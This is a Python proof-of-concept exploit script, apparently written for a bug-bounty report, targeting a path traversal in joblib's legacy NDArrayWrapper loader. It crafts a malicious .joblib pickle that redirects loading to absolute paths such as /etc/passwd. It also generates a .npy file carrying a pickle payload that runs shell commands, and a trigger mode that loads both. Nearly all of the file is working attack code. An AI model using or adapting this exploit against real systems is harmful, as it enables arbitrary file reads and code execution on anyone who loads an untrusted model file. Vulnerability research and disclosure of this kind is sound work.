File size: 5,899 Bytes
08bc126 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | #!/usr/bin/env python3
"""
PoC: Joblib NDArrayWrapper Path Traversal β Arbitrary File Read / RCE
CVE: TBD | CWE-22 | CVSS 8.6
Vulnerability:
joblib/numpy_pickle_compat.py β NDArrayWrapper.read() constructs a file path
by joining the save directory with a filename from inside the .joblib file:
filename = os.path.join(dirname, self.filename) # β NO sanitization!
array = np.load(filename, allow_pickle=self.allow_pickle)
If self.filename is an absolute path (e.g. '/etc/passwd'), os.path.join()
ignores dirname entirely and loads the attacker-specified file.
With allow_pickle=True, loading a .npy containing a pickle payload β RCE.
Attack Scenario:
Attacker crafts a "two-file" attack:
1. malicious.joblib β legitimate-looking joblib file with NDArrayWrapper
pointing to absolute path '/tmp/evil.npy'
2. /tmp/evil.npy β numpy file with pickle payload executing arbitrary code
Victim runs: joblib.load('malicious.joblib') β RCE
Usage:
python3 poc_exploit.py # file read demo (safe)
python3 poc_exploit.py --rce # also creates pickle RCE payload .npy
python3 poc_exploit.py --trigger # triggers the exploit
Author: security research (huntr.com submission)
"""
import sys
import os
import io
import struct
import pickle
import tempfile
try:
import numpy as np
HAS_NUMPY = True
except ImportError:
HAS_NUMPY = False
# βββ Arbitrary File Read PoC ββββββββββββββββββββββββββββββββββββββββββββββββββ
def create_malicious_joblib_with_absolute_path(target_path: str) -> bytes:
"""
Craft a .joblib file whose NDArrayWrapper.filename points to an absolute path.
The joblib NDArrayWrapper serialization format (legacy):
- Pickle a NDArrayWrapper object with:
subarray = None
filename = '/absolute/path/to/file' β traversal
allow_pickle = True
"""
# We need to mimic joblib's internal NDArrayWrapper
# The class lives in joblib.numpy_pickle_compat
# We craft the pickle stream directly to set the filename
class FakeNDArrayWrapper:
"""Mimic joblib.numpy_pickle_compat.NDArrayWrapper"""
def __init__(self, filename, subarray=None, allow_pickle=True):
self.filename = filename
self.subarray = subarray
self.allow_pickle = allow_pickle
# We need to make pickle think this IS an NDArrayWrapper from joblib
# Use __reduce__ to redirect to the real class
import pickle, pickletools
class Exploit:
def __reduce__(self):
# When unpickled, joblib will call NDArrayWrapper.__init__
# But we need it stored as the actual class
import joblib.numpy_pickle_compat as compat
return (compat.NDArrayWrapper, (target_path, None, True))
payload = pickle.dumps(Exploit())
print(f"[*] Crafted NDArrayWrapper joblib pointing to: {target_path}")
return payload
def create_rce_npy(command: str = 'id > /tmp/pwned.txt') -> bytes:
"""Create a .npy file that executes code when loaded with allow_pickle=True."""
class RCEPayload:
def __reduce__(self):
import subprocess
return (subprocess.check_output, (['sh', '-c', command],))
# Numpy .npy format: magic + header + pickle data (for object arrays)
MAGIC = b'\x93NUMPY'
VERSION = b'\x01\x00'
# Create a numpy object array containing our pickle
import struct as st
header_dict = "{'descr': '|O', 'fortran_order': False, 'shape': (1,), }"
header_str = header_dict.encode() + b' ' * (64 - len(header_dict) - 1) + b'\n'
# Pad to multiple of 64
while len(header_str) % 64 != 0:
header_str = header_str[:-1] + b' \n'
header_len = st.pack('<H', len(header_str))
npy_header = MAGIC + VERSION + header_len + header_str
rce_pickle = pickle.dumps(RCEPayload())
payload = npy_header + rce_pickle
return payload
def main():
trigger = '--trigger' in sys.argv
rce_mode = '--rce' in sys.argv
if not HAS_NUMPY:
print("[-] numpy not installed. Install with: pip3 install numpy")
# Demo: read /etc/passwd via path traversal
target = '/etc/passwd'
print(f"[*] Attack: Path Traversal to read {target}")
if rce_mode:
# Create the malicious .npy with RCE payload
npy_path = '/tmp/evil_rce.npy'
command = 'id > /tmp/joblib_pwned.txt && hostname >> /tmp/joblib_pwned.txt'
npy_payload = create_rce_npy(command)
with open(npy_path, 'wb') as f:
f.write(npy_payload)
print(f"[+] RCE .npy written: {npy_path}")
print(f" Command: {command}")
print(f" Output will appear in: /tmp/joblib_pwned.txt")
target = npy_path
# Create malicious .joblib
out_file = 'malicious_traversal.joblib'
payload = create_malicious_joblib_with_absolute_path(target)
with open(out_file, 'wb') as f:
f.write(payload)
print(f"[+] Malicious .joblib written: {out_file} ({os.path.getsize(out_file)} bytes)")
if trigger:
print(f"\n[*] Triggering via joblib.load('{out_file}')...")
try:
import joblib
result = joblib.load(out_file)
print(f"[+] CONFIRMED: Loaded data from {target}")
if hasattr(result, '__len__'):
print(f" Data preview: {str(result[:100])}")
except Exception as e:
print(f"[~] Exception: {type(e).__name__}: {e}")
else:
print(f"\n[i] Run with --trigger to demonstrate the path traversal:")
print(f" python3 {sys.argv[0]} --trigger")
print(f" python3 {sys.argv[0]} --rce --trigger # RCE via .npy pickle")
if __name__ == '__main__':
main()
|